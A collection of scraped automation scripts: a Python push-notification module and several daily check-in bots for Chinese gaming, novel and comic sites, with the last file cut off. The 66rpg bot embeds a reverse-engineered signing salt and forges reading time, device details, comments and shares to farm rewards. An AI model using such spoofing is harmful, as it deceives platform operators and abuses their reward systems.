resp = requests.post(url, data=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 7. iGot ====================
def _send_igot(title: str, content: str) -> bool:
igot_key = os.environ.get("IGOT_PUSH_KEY", "").strip()
if not igot_key:
return False
url = f"https://push.hellyw.com/{igot_key}"
data = {"title": title, "content": content}
try:
resp = requests.post(url, data=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 8. Server酱 ====================
def _send_serverchan(title: str, content: str) -> bool:
push_key = os.environ.get("PUSH_KEY", "").strip()
if not push_key:
return False
url = f"https://sctapi.ftqq.com/{push_key}.send"
data = {"title": title, "desp": content.replace("\n", "\n\n")}
try:
resp = requests.post(url, data=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 9. PushDeer ====================
def _send_pushdeer(title: str, content: str) -> bool:
deer_key = os.environ.get("DEER_KEY", "").strip()
if not deer_key:
return False
deer_url = os.environ.get("DEER_URL", "https://api2.pushdeer.com").strip().rstrip("/")
url = f"{deer_url}/message/push"
data = {"pushkey": deer_key, "text": title, "desp": content, "type": "text"}
try:
resp = requests.post(url, data=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 10. Synology Chat ====================
def _send_synology_chat(title: str, content: str) -> bool:
chat_url = os.environ.get("CHAT_URL", "").strip()
chat_token = os.environ.get("CHAT_TOKEN", "").strip()
if not chat_url or not chat_token:
return False
payload = {"text": f"{title}\n\n{content}"}
params = {"token": chat_token}
try:
resp = requests.post(chat_url, params=params, json=payload, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 11. PushPlus ====================
def _send_pushplus(title: str, content: str) -> bool:
pushplus_token = os.environ.get("PUSH_PLUS_TOKEN", "").strip()
if not pushplus_token:
return False
url = "http://www.pushplus.plus/send"
data = {
"token": pushplus_token,
"title": title,
"content": content.replace("\n", "<br>"),
"template": os.environ.get("PUSH_PLUS_TEMPLATE", "html").strip(),
"channel": os.environ.get("PUSH_PLUS_CHANNEL", "").strip(),
"webhook": os.environ.get("PUSH_PLUS_WEBHOOK", "").strip(),
"callbackUrl": os.environ.get("PUSH_PLUS_CALLBACKURL", "").strip(),
"to": os.environ.get("PUSH_PLUS_TO", "").strip(),
}
user = os.environ.get("PUSH_PLUS_USER", "").strip()
if user:
data["user"] = user
data = {k: v for k, v in data.items() if v}
try:
resp = requests.post(url, json=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 12. 微加机器人 ====================
def _send_weplusbot(title: str, content: str) -> bool:
token = os.environ.get("WE_PLUS_BOT_TOKEN", "").strip()
if not token:
return False
version = os.environ.get("WE_PLUS_BOT_VERSION", "pro").strip()
receiver = os.environ.get("WE_PLUS_BOT_RECEIVER", "").strip()
if version == "pro":
url = f"http://www.botweixin.cn/api/bot_client/send_message?token={token}"
else:
url = f"http://www.botweixin.cn/api/bot_client/send_message_lite?token={token}"
data = {"content": f"{title}\n\n{content}"}
if receiver:
data["receiver"] = receiver
try:
resp = requests.post(url, json=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 13. Qmsg酱 ====================
def _send_qmsg(title: str, content: str) -> bool:
qmsg_key = os.environ.get("QMSG_KEY", "").strip()
if not qmsg_key:
return False
qmsg_type = os.environ.get("QMSG_TYPE", "").strip()
url = f"https://qmsg.zendee.cn/send/{qmsg_key}"
data = {"msg": f"{title}\n\n{content}"}
if qmsg_type:
data["type"] = qmsg_type
try:
resp = requests.post(url, data=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 14. 企业微信应用 ====================
def _send_qywx_app(title: str, content: str) -> bool:
qywx_am = os.environ.get("QYWX_AM", "").strip()
if not qywx_am:
return False
parts = qywx_am.split(",")
if len(parts) < 4:
return False
corpid, corpsecret, touser, agentid = parts[0], parts[1], parts[2], parts[3]
media_id = parts[4] if len(parts) > 4 else ""
origin = os.environ.get("QYWX_ORIGIN", "").strip()
base = origin if origin else "https://qyapi.weixin.qq.com"
# 获取 access_token
try:
token_resp = requests.get(
f"{base}/cgi-bin/gettoken", params={"corpid": corpid, "corpsecret": corpsecret}, timeout=10
)
access_token = token_resp.json().get("access_token")
if not access_token:
return False
except Exception:
return False
payload = {
"touser": touser,
"agentid": int(agentid),
"msgtype": "text",
"text": {"content": f"{title}\n\n{content}"},
}
try:
resp = requests.post(
f"{base}/cgi-bin/message/send?access_token={access_token}", json=payload, timeout=10
)
return resp.ok
except Exception:
return False
# ==================== 15. 企业微信机器人 ====================
def _send_qywx_bot(title: str, content: str) -> bool:
qywx_key = os.environ.get("QYWX_KEY", "").strip()
if not qywx_key:
return False
origin = os.environ.get("QYWX_ORIGIN", "").strip()
base = origin if origin else "https://qyapi.weixin.qq.com"
url = f"{base}/cgi-bin/webhook/send?key={qywx_key}"
payload = {"msgtype": "text", "text": {"content": f"{title}\n\n{content}"}}
try:
resp = requests.post(url, json=payload, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 16. Telegram ====================
def _get_telegram_kwargs() -> tuple:
"""返回 (base_url, chat_id, proxy_dict) 或 (None, None, None)"""
bot_token = os.environ.get("TG_BOT_TOKEN", "").strip()
chat_id = os.environ.get("TG_USER_ID", "").strip() or os.environ.get("TG_CHAT_ID", "").strip()
if not bot_token or not chat_id:
return None, None, None
api_host = os.environ.get("TG_API_HOST", "").strip()
base_url = f"https://{api_host}/bot{bot_token}" if api_host else f"https://api.telegram.org/bot{bot_token}"
proxies = None
proxy_host = os.environ.get("TG_PROXY_HOST", "").strip()
proxy_port = os.environ.get("TG_PROXY_PORT", "").strip()
if proxy_host and proxy_port:
proxy_auth = os.environ.get("TG_PROXY_AUTH", "").strip()
proxy_url = f"http://{proxy_host}:{proxy_port}"
if proxy_auth:
proxy_url = f"http://{proxy_auth}@{proxy_host}:{proxy_port}"
proxies = {"http": proxy_url, "https": proxy_url}
return base_url, chat_id, proxies
def _send_telegram_text(title: str, content: str) -> bool:
base_url, chat_id, proxies = _get_telegram_kwargs()
if not base_url:
return False
url = f"{base_url}/sendMessage"
text = f"{title}\n\n{content}"
payload = {"chat_id": chat_id, "text": text, "disable_web_page_preview": True}
try:
resp = requests.post(url, data=payload, proxies=proxies, timeout=15)
return resp.ok
except Exception:
return False
def _send_telegram_file(title: str, content: str, file_path: str) -> bool:
base_url, chat_id, proxies = _get_telegram_kwargs()
if not base_url or not os.path.isfile(file_path):
return False
url = f"{base_url}/sendDocument"
payload = {"chat_id": chat_id, "caption": f"{title}\n\n{content}"}
try:
with open(file_path, "rb") as f:
resp = requests.post(
url, data=payload,
files={"document": (os.path.basename(file_path), f, "application/json")},
proxies=proxies, timeout=30
)
return resp.ok
except Exception:
return False
def _send_telegram_photo(title: str, image_url: str) -> bool:
"""通过 Telegram 发送单张图片(从 URL 下载后上传)"""
base_url, chat_id, proxies = _get_telegram_kwargs()
if not base_url or not image_url:
return False
try:
img_resp = requests.get(image_url, timeout=15, proxies=proxies)
if not img_resp.ok:
return False
url = f"{base_url}/sendPhoto"
resp = requests.post(url, data={"chat_id": chat_id, "caption": title},
files={"photo": ("image.png", img_resp.content, "image/png")},
proxies=proxies, timeout=20)
return resp.json().get("ok", False)
except Exception:
return False
# ==================== 17. 智能微秘书 ====================
def _send_aibotk(title: str, content: str) -> bool:
aibotk_key = os.environ.get("AIBOTK_KEY", "").strip()
aibotk_type = os.environ.get("AIBOTK_TYPE", "").strip()
aibotk_name = os.environ.get("AIBOTK_NAME", "").strip()
if not aibotk_key or not aibotk_type or not aibotk_name:
return False
url = f"https://api-bot.aibotk.com/openapi/v1/chat/msg"
headers = {"Authorization": f"Bearer {aibotk_key}"}
data = {"type": aibotk_type, "name": aibotk_name, "msg": f"{title}\n\n{content}"}
try:
resp = requests.post(url, json=data, headers=headers, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 18. SMTP 邮件 ====================
def _build_smtp_message(title: str, content: str) -> MIMEText:
msg = MIMEText(content, "plain", "utf-8")
msg["From"] = os.environ.get("SMTP_NAME", "") or os.environ.get("SMTP_EMAIL", "")
msg["To"] = os.environ.get("SMTP_EMAIL", "")
msg["Subject"] = title
return msg
def _send_smtp(title: str, content: str) -> bool:
server = os.environ.get("SMTP_SERVER", "").strip()
email = os.environ.get("SMTP_EMAIL", "").strip()
password = os.environ.get("SMTP_PASSWORD", "").strip()
if not server or not email or not password:
return False
use_ssl = os.environ.get("SMTP_SSL", "false").strip().lower() == "true"
try:
msg = _build_smtp_message(title, content)
host, _, port_str = server.partition(":")
port = int(port_str) if port_str else (465 if use_ssl else 25)
smtp_class = smtplib.SMTP_SSL if use_ssl else smtplib.SMTP
with smtp_class(host, port, timeout=10) as s:
if not use_ssl:
s.starttls()
s.login(email, password)
s.send_message(msg)
return True
except Exception:
return False
def _send_smtp_file(title: str, content: str, file_path: str) -> bool:
server = os.environ.get("SMTP_SERVER", "").strip()
email = os.environ.get("SMTP_EMAIL", "").strip()
password = os.environ.get("SMTP_PASSWORD", "").strip()
if not server or not email or not password or not os.path.isfile(file_path):
return False
use_ssl = os.environ.get("SMTP_SSL", "false").strip().lower() == "true"
try:
msg = MIMEMultipart()
msg["From"] = os.environ.get("SMTP_NAME", "") or email
msg["To"] = email
msg["Subject"] = title
msg.attach(MIMEText(content, "plain", "utf-8"))
with open(file_path, "rb") as f:
attachment = MIMEApplication(f.read())
attachment.add_header("Content-Disposition", "attachment", filename=os.path.basename(file_path))
msg.attach(attachment)
host, _, port_str = server.partition(":")
port = int(port_str) if port_str else (465 if use_ssl else 25)
smtp_class = smtplib.SMTP_SSL if use_ssl else smtplib.SMTP
with smtp_class(host, port, timeout=30) as s:
if not use_ssl:
s.starttls()
s.login(email, password)
s.send_message(msg)
return True
except Exception:
return False
# ==================== 19. PushMe ====================
def _send_pushme(title: str, content: str) -> bool:
pushme_key = os.environ.get("PUSHME_KEY", "").strip()
if not pushme_key:
return False
pushme_url = os.environ.get("PUSHME_URL", "https://push.i-i.me").strip().rstrip("/")
url = f"{pushme_url}/{pushme_key}"
data = {"title": title, "content": content}
try:
resp = requests.post(url, data=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 20. CHRONOCAT ====================
def _send_chronocat(title: str, content: str) -> bool:
chronocat_url = os.environ.get("CHRONOCAT_URL", "").strip()
chronocat_qq = os.environ.get("CHRONOCAT_QQ", "").strip()
if not chronocat_url or not chronocat_qq:
return False
payload = {"message": f"{title}\n\n{content}"}
if "group_id" in chronocat_qq:
payload["group_id"] = chronocat_qq.split("=")[1]
else:
payload["user_id"] = chronocat_qq.split("=")[1]
token = os.environ.get("CHRONOCAT_TOKEN", "").strip()
headers = {"Authorization": f"Bearer {token}"} if token else {}
try:
resp = requests.post(chronocat_url, json=payload, headers=headers, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 21. 自定义 Webhook ====================
def _send_webhook(title: str, content: str) -> bool:
webhook_url = os.environ.get("WEBHOOK_URL", "").strip()
webhook_method = os.environ.get("WEBHOOK_METHOD", "POST").strip().upper()
if not webhook_url or not webhook_method:
return False
webhook_body = os.environ.get("WEBHOOK_BODY", "").strip()
if webhook_body:
body = webhook_body.replace("\\n", "\n").replace("{title}", title).replace("{content}", content)
else:
body = f"{title}\n\n{content}"
headers_str = os.environ.get("WEBHOOK_HEADERS", "").strip()
headers = {}
if headers_str:
try:
headers = json.loads(headers_str)
except Exception:
pass
content_type = os.environ.get("WEBHOOK_CONTENT_TYPE", "").strip()
try:
if webhook_method == "GET":
resp = requests.get(webhook_url, params={"title": title, "content": content}, headers=headers, timeout=10)
else:
if content_type:
headers["Content-Type"] = content_type
resp = requests.post(webhook_url, data=body.encode("utf-8"), headers=headers, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 22. ntfy ====================
def _send_ntfy(title: str, content: str) -> bool:
ntfy_topic = os.environ.get("NTFY_TOPIC", "").strip()
if not ntfy_topic:
return False
ntfy_url = os.environ.get("NTFY_URL", "https://ntfy.sh").strip().rstrip("/")
priority = os.environ.get("NTFY_PRIORITY", "3").strip()
url = f"{ntfy_url}/{ntfy_topic}"
headers = {"Title": title, "Priority": priority}
try:
resp = requests.post(url, data=content.encode("utf-8"), headers=headers, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 23. WxPusher ====================
def _send_wxpusher(title: str, content: str) -> bool:
app_token = os.environ.get("WXPUSHER_APP_TOKEN", "").strip()
if not app_token:
return False
topic_ids = os.environ.get("WXPUSHER_TOPIC_IDS", "").strip()
uids = os.environ.get("WXPUSHER_UIDS", "").strip()
if not topic_ids and not uids:
return False
url = "https://wxpusher.zjiecode.com/api/send/message"
data = {
"appToken": app_token,
"content": f"{title}\n\n{content}",
"contentType": 1,
"summary": title[:50],
}
if topic_ids:
data["topicIds"] = [int(t) for t in topic_ids.split(";") if t.strip().isdigit()]
if uids:
data["uids"] = [u.strip() for u in uids.split(";") if u.strip()]
try:
resp = requests.post(url, json=data, timeout=10)
return resp.ok
except Exception:
return False
# ==================== 图片推送 ====================
def send_photos(title: str, text_content: str, photos: list) -> None:
"""
发送图片通知:文本推送到所有通道,图片仅 Telegram。
photos: [{"image": "url或本地路径", "caption": "图片说明"}, ...]
"""
# 文本推送所有通道
send(title, text_content)
# 图片仅 Telegram
for i, photo in enumerate(photos):
image = photo.get("image", "")
caption = photo.get("caption", f"Photo {i+1}")
full_caption = f"{title}\n{caption}"
try:
_send_telegram_photo(full_caption, image)
except Exception:
pass

View File

@@ -0,0 +1,238 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/rpg66.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/rpg66.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/rpg66.js
// # UploadedAt: 2022-07-20T12:25:35Z
// # SHA256: 1ecbfd43a5f24896cd44110aeed805d8970c33087f793bbf5402232e95f224b2
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
/*
* @Author: Wenmoux
* @Date: 2020-12-03 08:48:00
* @LastEditTime: 2022-06-15 09:13:14
* @Description: 橙光游戏app每日签到+登陆奖励领取+每日任务+分享
* @OtherX-sign生成 https://my.oschina.net/2devil/blog/2395909
*/
const axios = require("axios");
const md5 = require("crypto-js").MD5
headers = {}
let result = "【橙光游戏】: ";
const {
uid,
token,
skey,
sflag,
folder,
gameid,
did
} = config.rpg66
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
//签到
function check() {
return new Promise(async (resolve) => {
try {
const url = "https://www.66rpg.com/Ajax/Home/new_sign_in.json";
let data = `token=${token}&mobile_uid=&client=2&android_cur_ver=268`;
const headers = {
"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi K30 Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Mobile Safari/537.36",
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
};
let res = await axios.post(url, data, {
headers,
});
if (res.data.status == 1) {
msg = `签到成功,获得:${res.data.data.today.award_name}明日继续签到🉑获得:${res.data.data.tomorrow.award_name} || `;
} else {
msg = "签到失败⚠️⚠️⚠️ " + res.data.msg + " || ";
}
console.log(" 签到结果:" + msg);
result += msg;
} catch (err) {
msg = "签到接口请求出错!! ";
console.log(err);
}
resolve();
});
}
function get(url, method = "get", data = null, xsign) {
return new Promise(async (resolve) => {
try {
if (xsign) headers["x-sign"] = xsign
if (method == "get") res = await axios.get(url, {
headers
});
// headers ["content-type"] = "application/json;charset=utf-8"
headers["user-agent"] == "axios/0.19.0"
if (method == "post") res = await axios.post(url, data, {
headers
})
headers = {}
if (res.data && res.data.data && (res.data.data.msg || res.data.msg)) console.log(" " + (res.data.data.msg || res.data.msg))
resolve(res.data)
} catch (err) {
console.log(err);
resolve({
msg: "签到接口请求出错"
})
}
resolve();
});
}
//获取活跃任务列表
async function getaskList() {
let url = `https://www.66rpg.com/ActiveSystem/index/get_today_task_lists?jsonCallBack=&uid=&token=${token}&client=2&_=`
let res = await get(url)
if (res && res.status == 1) taskList = res.data
else taskList = []
return taskList
}
//登陆奖励
function loginreward() {
return new Promise(async (resolve) => {
try {
var url = `http://iapi.66rpg.com/user/v2/sso/launch_remind?pack_name=com.sixrpg.opalyer&sv=QKQ1.190825.002testkeys&android_cur_ver=2.25.268.1027&nt=4g&device_code=RedmiK30&channel=LYyingyongbao&skey=&device_unique_id=${did}&token=${token}`;
let res = await get(url, "get", null, getsign(url))
if (res.status == 1) {
if (!res.data.integral.hidden) {
msg =
" 登陆成功,获得:" +
res.data.integral.msg +
"," +
res.data.flower.msg;
} else {
msg = "今日已经领取过登陆奖励了";
}
} else {
msg = "领取登陆奖励失败:" + res.msg;
}
result += msg;
console.log(" 领取结果:" + msg);
} catch (err) {
console.log(err);
}
resolve();
});
}
// x-sign生成
function getsign(url) {
data = url.split("?")[1]
var str = data
.split("&")
.sort(function(a, b) {
return a.localeCompare(b);
})
.join("&");
return md5(str + "a_744022879dc25b40").toString()
}
//评论任务
function favor() {
return new Promise(async (resolve) => {
try {
//先取消收藏
var url0 = `http://iapi.66rpg.com/Favorite/v1/Favorite/editor_game_folders?device_code=MEIZU18Pro&sv=Flyme9.0.1.3A&nt=4g&token=${token}&skey=${skey}&action=editor_game_folders&ts=&android_cur_ver=2.32.288.0119`
let data0 = `pack_name=com.sixrpg.opalyer&folder=&sv=Flyme9.0.1.3A&gindex=242004&android_cur_ver=2.32.288.0119&nt=4g&device_code=MEIZU18Pro&channel=XiaoMiReaderDYD&skey=${skey}&device_unique_id=${did}&token=${token}`
let res0 = await get(url0 + "&sign=" + getsign(url0), "post", data0, getsign(url0))
console.log(" 取消收藏:" + res0.msg);
//收藏
var url1 = `https://www.66rpg.com/api/client?pack_name=com.sixrpg.opalyer&sv=Flyme9.0.1.3A&android_cur_ver=2.32.288.0119&nt=4g&channel=XiaoMiReaderDYD&platform=2&token=${token}&folder=${folder}%2C&gindex=242004&device_code=&action=fav_game&skey=${skey}&device_unique_id=${did}&fav_type=1`
let res = await get(url1, "get", null, getsign(url1))
console.log(" 收藏结果:" + res.msg);
} catch (err) {
console.log(err);
}
resolve();
});
}
async function uploadtime(id) {
timm = 30 * 60
let url = "https://c.66rpg.com/collect/v1/index/runtime"
time = parseInt(new Date().getTime().toString() / 1000)
let datas = `{"run":{"${id}":${timm}}}${uid}${time}MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDtsvsk/MIEI9YXvHzLfg+eEJkY3d7RmVynKBZY35T0xg3WwZgmC6GSPZqrMMcht6aiZYPJywhm9JiE6kBo/0Mvxklm5Wd35wIKeDXcq8Aqb4aQXalcwsD3f829OR1P2AqGilr14Rftv4ixyQATG/BqP2/kgft2rcq4e/E7bDWNLQIDAQAB`
let check = md5(datas).toString()
let str = `data=%7B%22run%22%3A%7B%22${id}%22%3A${timm}%7D%7D&uid=${uid}&ts=${time}&check=${check}&platform=3&channel_id=0&online_plat=${timm}&nonce=b613b114-b3a8-4bb6-a444-7096b2abc5fe&timestamp=${time}`
let res = await get(url, "post", str)
console.log(" 上传结果:" + res.msg)
}
async function cg() {
console.log("橙光app每日签到开始...");
//获取任务列表
let taskList = await getaskList()
//送花
// gid = 1510209
// ssurl =`https://www.66rpg.com/api/client?pack_name=com.sixrpg.opalyer&flower_place=4&sv=Flyme9.0.1.3A&android_cur_ver=2.32.288.0119&nt=network_unknown&num=1&channel=XiaoMiReaderDYD&token=${token}&gindex=${gid}&group_id=&device_code=MEIZU18Pro&action=send_flower&skey=${skey}&device_unique_id=${did}`
// let aa = await get(ssurl, "get", null, getsign(ssurl))
// console.log(aa)
for (task of taskList) {
console.log("去做任务:" + task.task_name)
if (task.max_claim <= task.play_count) {} else {
switch (task.task_type) {
case 0: //每日登陆
await loginreward();
break
case 1: //阅读5min
await uploadtime(1593227)
await sleep(12 * 1000)
await uploadtime(1593227)
break
case 2: //分享作品
surl = `http://www.66rpg.com/api/newClient?pack_name=com.sixrpg.opalyer&sv=QKQ1.190825.002testkeys&android_cur_ver=2.27.273.1229&nt=4g&channel=vivoDYD&platform=2&token=${token}&gindex=${gameid}&share_msg_id=&device_code=RedmiK30&action=share_game&skey=${skey}&device_unique_id=${did}&share_channel=3`;
await get(surl, "get", null, getsign(surl))
break
case 3: //分享别人看
for (c of new Array(5)) {
await get(`https://m.66rpg.com/main/ajax/game/add_game_share.json?token=&client=0&stype=1&starget=${gameid}&sflag=${sflag}&platform=2&share_msg_id=&um_chnnl=share&um_from_appkey=60ab3e2453b67264990bf849`)
await sleep(1000)
}
break
case 4: //发表评论
datac = `pack_name=com.avgorange.dating&sv=Flyme9.0.1.3A&auth=eyJhY3Rpb24iOiJjb21tZW50X3Bvc3QiLCJnaW5kZXgiOiIxNTY5ODQ0IiwicGFyZW50X2NpZCI6IiIsImNvbnRlbnQiOiLmiZPljaHmiZPljaHmiZPljaHmiZPljaHmiZPljaEiLCJkZXZpY2VfdHlwZSI6Ik1FSVpVMThQcm8iLCJyIjoiNTZGIn0%253D&android_cur_ver=2.32.292.0530&parent_cid=&nt=wifi&channel=talkingdata202106&device_type=MEIZU18Pro&content=%E6%89%93%E5%8D%A1%E6%89%93%E5%8D%A1%E6%89%93%E5%8D%A1%E6%89%93%E5%8D%A1%E6%89%93%E5%8D%A1&gindex=1569844&device_code=MEIZU18Pro&skey=${skey}&device_unique_id=${did}&call_source=game`
surl = `http://www.66rpg.com/api/client?device_code=MEIZU18Pro&sv=Flyme9.0.1.3A&nt=wifi&token=${token}&skey=${skey}&action=comment_post&ts=1656227475&android_cur_ver=2.32.292.0530`
aa = await get(surl + "&sign=" + getsign(surl), "post", datac, getsign(surl))
break
default:
break
}
}
await get(`https://www.66rpg.com/ActiveSystem/index/claimReward?task_type=${task.task_type}&uid=${uid}&token=${token}&client=2&_=`)
}
console.log("去签到")
await check();
console.log("每日分享")
surl = `http://www.66rpg.com/api/newClient?pack_name=com.sixrpg.opalyer&sv=QKQ1.190825.002testkeys&android_cur_ver=2.27.273.1229&nt=4g&channel=vivoDYD&platform=2&token=${token}&gindex=${gameid}&share_msg_id=&device_code=RedmiK30&action=share_game&skey=${skey}&device_unique_id=${did}&share_channel=3`;
await get(surl, "get", null, getsign(surl))
Info = ""
urlyy = `https://www.66rpg.com/propShop/interapi/game/v1/game/get_user_gift_game?pack_name=com.sixrpg.opalyer&sv=Flyme9.0.1.3A&android_cur_ver=2.32.288.0119&nt=4g&device_code=MEIZU18Pro&channel=XiaoMiReaderDYD&skey=${skey}&page=1&sort=1&device_unique_id=${did}&token=${token}`
let ri = await get(urlyy, "get", null, getsign(urlyy))
count = ri && ri.data ? ri.data.count : "未知"
var iurl = `http://iapi.66rpg.com/user/v2/user/user_info?uid=${uid}&pack_name=com.sixrpg.opalyer&sv=Flyme9.0.1.3A&android_cur_ver=2.32.288.0119&nt=network_unknown&device_code=&channel=XiaoMiReaderDYD&action=user_info&skey=${skey}&device_unique_id=${did}&token=${token}`
let ires = await get(iurl, "get", null, getsign(iurl))
if (ires.status == 1) {
info = ires.data[uid]
if (info.last_available_time != 0) hl = `\n 花篮:至${info.last_available_time_str.replace("花篮领取有效期 ","")}`
else hl = ""
Info = ` 昵称:${info.uname}\n 等级:${info.user_level}\n 鲜花:${info.rest_flower}\n 积分:${info.coin3}\n 橙子:${info.user_orange}${hl}\n 拥有:${count}`
}
console.log(Info)
return "【橙光】:\n " + Info
}
//cg()
module.exports = cg;

View File

@@ -0,0 +1,136 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/sxmd.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/sxmd.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/sxmd.js
// # UploadedAt: 2024-02-09T08:25:50Z
// # SHA256: c843730c6fb10c63ed4eee5118bc7e56d65ff3e180c100b26ab31f8791099339
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
let account = config.sxmd.account;
let password = config.sxmd.password;
const iconv = require("iconv-lite");
const axios = require("axios");
let ck = null;
let formhash = null;
if (config.sxmd.sxmd_host){
SXMD_HOST=config.sxmd.sxmd_host;
}else{
SXMD_HOST="www.txtnovel.vip"
}
let result = "【书香门第】:";
console.log(`\n\n当前书香门第网址为https://${SXMD_HOST}\n请自行核对,如果接下来报错或失败极有可能是网址变了。\n请百度一下最新网址,\n并手动在环境变量内新建sxmd_host内容不带https://\n示例www.txtnovel.pro\n\n`)
var headers = {
Host: `${SXMD_HOST}`,
cookie: " ",
referer: `http://${SXMD_HOST}/member.php?mod=logging&action=login&mobile=2`,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi K30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.83 Mobile Safari/537.36",
}
function login() {
return new Promise(async (resolve) => {
try {
let loginurl =
`http://${SXMD_HOST}/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=&mobile=2`;
let data = `formhash=&referer=http%3A%2F%2F${SXMD_HOST}%2F&fastloginfield=username&cookietime=2592000&username=${account}&password=${password}&questionid=0&answer=&submit=true`;
let res = await axios.post(loginurl, data, {
headers
}
);
resdata = res.data
if (resdata.match(/欢迎您回来/)) {
result += "登陆成功 ";
console.log("登陆成功");
ckk = res.headers["set-cookie"];
ck = "";
for (i = 0; i < ckk.length; i++) {
ck += ckk[i].split("expires")[0];
}
} else {
console.log("登陆失败");
let message = resdata.match(
/<div id=\"messagetext\">.*?<p>(.+?)<\/p>/s
);
result += "登陆失败 ";
}
} catch (err) {
console.log(err);
}
resolve();
});
}
function getformhash() {
return new Promise(async (resolve) => {
try {
let url = `http://${SXMD_HOST}/plugin.php?id=dsu_paulsign:sign&mobile=yes`;
let res = await axios.get(url, {
headers
});
formhash = res.data.match(
/<input type=\"hidden\" name=\"formhash\" value=\"(.+?)\" \/>/s
)[1];
} catch (err) {
console.log(err);
}
resolve();
});
}
function sign() {
return new Promise(async (resolve) => {
try {
let url = `http://${SXMD_HOST}/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=0&inajax=0&mobile=yes`;
let data = `formhash=${formhash}&qdxq=kx`;
let res = await axios.post(url, data, {
headers
});
let message = res.data.match(/<div id=\"messagetext\">.*?<p>(.+?)<\/p>/s);
if (message) {
result += message[1] + " ";
} else {
result += "签到失败! ";
}
} catch (err) {
console.log(err);
}
resolve();
});
}
function info() {
return new Promise(async (resolve) => {
try {
let url = `http://${SXMD_HOST}/home.php?mod=space&`;
let res = await axios.get(url, {
headers
});
let message = res.data.match(/<li><em>金币<\/em>(.+?) 枚<\/li>/);
if (message) {
result += "金币:" + message[1];
}
} catch (err) {
console.log(err);
}
resolve();
});
}
async function task() {
await login();
headers.cookie = ck;
if (ck) {
await getformhash();
await sign();
await info();
console.log(result);
} else {}
return result;
}
//task();
module.exports = task;

View File

@@ -0,0 +1,31 @@
// # Source: https://github.com/Wenmoux/checkbox/blob/master/scripts/diygm.js
// # Raw: https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/diygm.js
// # Repo: Wenmoux/checkbox
// # Path: scripts/diygm.js
// # UploadedAt: 2021-09-25T00:15:59Z
// # SHA256: 546b3d24edf9ad5138473fb53f179e14dd7401c5f3a92b9c74b931cb9a568ade
// # Category: web版/账密
// # Evidence: web/H5关键词 + username/password/login
//
//传奇GM论坛 https://www.diygm.com/home.php?mod=spacecp&ac=credit&op=rule
const rules = {
name: "【传奇GM论坛】",
url: "https://www.diygm.com/plugin.php?id=dc_signin", //用于获取formhash的链接
cookie: config.diygm.cookie,
formhash: 'formhash=(.+?)"', //formhash正则
verify: "抱歉,您尚未登录,无法进行此操作", //验证cookie状态
op: [{
name: "签到",
method: "post", //签到请求方式
url: "https://www.diygm.com/plugin.php?id=dc_signin:sign&inajax=1", //签到链接
data: "formhash=@formhash&signsubmit=yes&handlekey=signin&emotid=1&referer=https%3A%2F%2Fwww.diygm.com%2Fmisc.php%3Fmod%3Dmobile&content=%E8%AE%B0%E4%B8%8A%E4%B8%80%E7%AC%94%EF%BC%8Chold%E4%BD%8F%E6%88%91%E7%9A%84%E5%BF%AB%E4%B9%90%EF%BC%81;"
}]
};
async function diygm() {
const template = require("../Template");
return rules.name + await template(rules)
}
module.exports = diygm

View File

@@ -0,0 +1,413 @@
# Source: https://github.com/Small-tailqwq/ql_script/blob/master/zaimanhua/zaimanhua.py
# Raw: https://raw.githubusercontent.com/Small-tailqwq/ql_script/master/zaimanhua/zaimanhua.py
# Repo: Small-tailqwq/ql_script
# Path: zaimanhua/zaimanhua.py
# UploadedAt: 2026-03-02T11:07:04Z
# SHA256: d504877ad0b3be012794bec38536cdaeaab15f83fe8bafcee5d8d9121dce5b8d
# Category: web版/账密
# Evidence: web/H5关键词 + username/password/login
# -*- coding: utf-8 -*-
"""
cron: 20 7 * * *
new Env('再漫画自动签到');
"""
from __future__ import annotations
import hashlib
import json
import logging
import os
from dataclasses import dataclass
from typing import Any, Dict, Iterable, List, Optional, Tuple
import requests
try:
from sendNotify import send # type: ignore
except Exception: # noqa: BLE001
try:
from notify import send # type: ignore
except Exception:
send = None
API_BASE = "https://i.zaimanhua.com/lpi/v1"
DEFAULT_TIMEOUT = 15
DEBUG_ENABLED = os.getenv("ZAIMANHUA_DEBUG", "0").strip().lower() in {"1", "true", "on", "yes"}
def debug_dump(label: str, payload: Any) -> None:
if not DEBUG_ENABLED:
return
try:
fragment = json.dumps(payload, ensure_ascii=False)[:1500]
except Exception: # noqa: BLE001
fragment = str(payload)[:1500]
logging.debug("%s: %s", label, fragment)
@dataclass
class SignResult:
account: str
success: bool
message: str
class ZaiManHua:
name = "再漫画"
def __init__(self, username: str, password: str, alias: Optional[str] = None) -> None:
self.username = username.strip()
self.password = password.strip()
self.alias = alias.strip() if alias else ""
self.session = self._build_session()
@staticmethod
